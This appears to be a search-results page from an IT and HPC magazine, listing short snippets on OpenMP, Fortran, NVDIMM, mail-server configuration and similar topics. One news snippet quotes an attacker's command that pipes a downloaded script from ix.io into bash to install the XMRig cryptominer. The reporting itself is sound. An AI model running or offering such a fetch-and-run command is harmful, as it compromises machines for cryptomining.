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24%
News for Admins
30.01.2020
Home »  Archive  »  2020  »  Issue 55: AWS L...  » 
 
'curl -sL4 http://ix.io/1XQa | bash; (which downloads a bash script that would install the XMRig cryptocurrency miner). The issue was discovered by security firm Bad Packets LLC. Bad Packets also found
24%
Spending Moore's dividend
12.09.2013
Home »  Archive  »  2013  »  Issue 16: Docker  » 
Lead Image © Lucy Baldwin, 123RF.com
boasted an impressive 291 million transistors, 10,034 times the original [2]. The first CPU to break the 3GHz barrier was an Intel Pentium 4 variant released in 2002 [3], but disregarding unreliable
24%
Programming with OpenMP
07.11.2011
Home »  HPC  »  Articles  » 
something like the following code snippet: #pragma omp name_of_directive [clauses] Compilers that don’t support OpenMP, such as older versions of GCC before version 4.2, will just ignore the compiler
24%
NVDIMM Persistent Memory
22.09.2016
Home »  HPC  »  Articles  » 
that fit the sockets for DDR4 SDRAM DIMMs. However, motherboards need a BIOS that supports the modules. JEDEC envisages two approaches: NVDIMM-N backs up the content of its DRAM in case of a power outage
24%
Modern Fortran – Part 1
20.10.2016
Home »  HPC  »  Articles  » 
 +       1    X4 + X5 + X6 ... By default, Fortran 77 defines variables starting with i , j , k , l , m , and n as integers (also the uppercase equivalents). As a result, they are used as loop counters
24%
Creating Virtual SSDs
21.01.2020
Home »  HPC  »  Articles  » 
and parity layout of a typical RAID 5 volume. If you were to do the math, you have four 7TB drives with one drive’s worth of capacity hosting the parity, so the RAID array will produce (7 × 4) - 7 = 21TB
24%
Transport Encryption with DANE and DNSSEC
17.02.2015
Home »  Archive  »  2015  »  Issue 25: Safe...  » 
Lead Image © nerhuz, 123RF.com
and – importantly – the string ESMTP (Listing 1). Listing 1 Unfiltered SMTP Connection $ telnet mail.sys4.de 25 220-mail.sys4.de ESMTP Postfix EHLO client.example.com 250-mail.sys4.de 250-PIPELINING
24%
OpenSMTPD makes mail server configuration easy
08.10.2015
Home »  Archive  »  2015  »  Issue 29: Rescu...  » 
Lead Image © alphaspirit, 123RF.com
:/etc/smtpd_remote.db 04 listen on 192.0.2.15 inet4 port 25 hostname post.example.org tls pki post 05 listen on 192.0.2.15 inet4 port 587 hostname mail.example.org tls-require pki mail auth tag remote 06 listen
24%
Warewulf Cluster Manager – Development and Run Time
18.07.2012
Home »  HPC  »  Articles  » 
are everywhere, I still don’t like to waste capacity except on KC and the Sunshine Band MP4s). Once I’m happy with the installation, I follow just a few simple steps: cd to the root directory of the toolkit
24%
Modern Fortran for today and tomorrow
17.06.2017
Home »  Archive  »  2017  »  Issue 39: Conta...  » 
Lead Image © homestudio, 123RF.com
+ X3 + 1 X4 + X5 + X6 ----------------------------- 11111111112222222222 12345678901234567890123456789 By default, F77 defines variables starting with (upper- or lowercase) i, j

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